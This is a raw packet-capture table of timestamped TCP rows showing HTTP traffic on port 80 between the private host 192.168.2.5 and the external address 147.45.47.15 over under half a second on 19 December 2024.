Dec 19, 2024 08:52:56.192163944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.192213058 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.193008900 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.193123102 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.193173885 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.193967104 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.194092989 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.194139004 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.194947958 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.195044041 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.195097923 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.195950985 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.196063042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.196114063 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.196916103 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.197005987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.197056055 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.197855949 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.198014021 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.198065996 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.198905945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.198993921 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.199045897 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.199944973 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.200031042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.200097084 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.234679937 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.234724998 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.234790087 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.235121965 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.235265017 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.235316992 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.236082077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.236237049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.236296892 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.237068892 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.237219095 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.237270117 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.238058090 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.238147974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.238200903 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.238975048 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.239069939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.239121914 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.239993095 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.240101099 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.240149021 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.240909100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.241007090 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.241064072 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.241871119 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.241954088 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.241996050 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.350275040 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.350332022 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.350378990 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.350697041 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.350790977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.350847960 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.351711988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.351847887 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.351896048 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.352662086 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.352740049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.352782965 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.353606939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.353718996 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.353790045 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.354630947 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.354727030 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.354779959 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.355565071 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.355693102 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.355742931 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.356523037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.356621027 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.356666088 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.357516050 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.357609987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.357661009 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.358444929 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.358575106 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.358619928 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.359483957 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.359559059 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.359603882 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.360398054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.360518932 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.360577106 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.361361027 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.361464977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.361515045 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.362377882 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.362482071 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.362535000 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.363291025 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.363394976 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.363447905 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.364311934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.364582062 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.364640951 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.365247965 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.365362883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.365407944 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.366184950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.366301060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.366347075 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.367153883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.367252111 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.367304087 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.368134975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.368230104 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.368285894 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.369081974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.369281054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.369328976 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.370059967 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.370171070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.370215893 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.371022940 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.371104002 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.371156931 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.372025013 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.372163057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.372216940 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.372955084 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.373080015 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.373142958 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.373914957 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.374083042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.374136925 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.374891043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.375004053 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.375056028 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.375870943 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.375972033 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.376023054 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.376830101 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.376946926 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.377047062 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.377809048 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.377923965 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.377980947 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.378777981 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.378890038 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.378946066 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.379779100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.379828930 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.379884958 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.380729914 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.380825996 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.380875111 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.381669044 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.381779909 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.381824970 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.382642984 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.382749081 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.382793903 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.383619070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.383713007 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.383760929 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.384571075 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.384675980 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.384727001 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.385631084 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.385658026 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.385704994 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.386498928 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.386601925 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.386646986 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.387469053 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.387569904 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.387636900 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.388444901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.388777971 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.388823032 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.389400005 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.389492989 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.389544964 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.390347004 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.390453100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.390495062 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.391339064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.391438007 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.391489029 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.392311096 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.392476082 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.392527103 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.393265963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.393384933 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.393430948 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.394239902 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.394342899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.394393921 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.395199060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.395328999 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.395370960 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.396147013 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.396261930 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.396306038 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.397140026 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.397217989 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.397301912 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.398109913 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.398224115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.398271084 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.399061918 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.399193048 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.399240971 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.400027037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.400141954 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.400192022 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.401047945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.424915075 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.544575930 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.544629097 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.544703007 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.545160055 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.545242071 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.545283079 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.545943022 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.546041012 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.546084881 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.546900034 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.547033072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.547075987 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.547883034 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.548085928 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.548130035 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.548851967 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.548957109 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.549000978 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.549814939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.549947023 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.550015926 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.550760984 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.550879002 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.550925970 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.551750898 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.551852942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.551901102 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.552705050 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.552809954 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.552856922 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.553666115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.553775072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.553822041 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.554632902 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.554761887 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.554848909 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.555635929 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.555749893 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.555820942 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.556672096 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.556760073 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.556801081 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.557566881 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.557702065 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.557748079 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.558507919 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.558649063 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.558691025 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.559626102 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.559700966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.559743881 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.560445070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.560590029 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.560631037 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.561440945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.561620951 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.561671019 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.562438965 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.562551022 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.562594891 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.563350916 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.563488007 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.563530922 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.564310074 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.564420938 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.564471960 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.565299988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.565473080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.565525055 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.566272974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.566354036 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.566392899 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.567224026 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.567334890 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.567378044 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.568217039 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.568326950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.568368912 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.569190025 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.569286108 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.569328070 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.570138931 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.570235014 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.570296049 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.571124077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.571239948 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.571290016 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.572074890 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.572179079 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.572220087 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.573066950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.573174000 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.573216915 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.574008942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.574084997 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.574125051 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.574959993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.575059891 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.575102091 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.575905085 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.576025963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.576076984 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.576884985 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.577003956 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.577047110 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.577841997 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.577971935 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.578017950 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.578824043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.578975916 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.579015017 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.579811096 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.579916000 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.579957962 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.580790997 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.580888033 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.580929041 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.581732988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.581856012 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.581899881 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.582690001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.582817078 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.582861900 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.583686113 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.583831072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.583875895 CET	49705	80	192.168.2.5	147.45.47.15
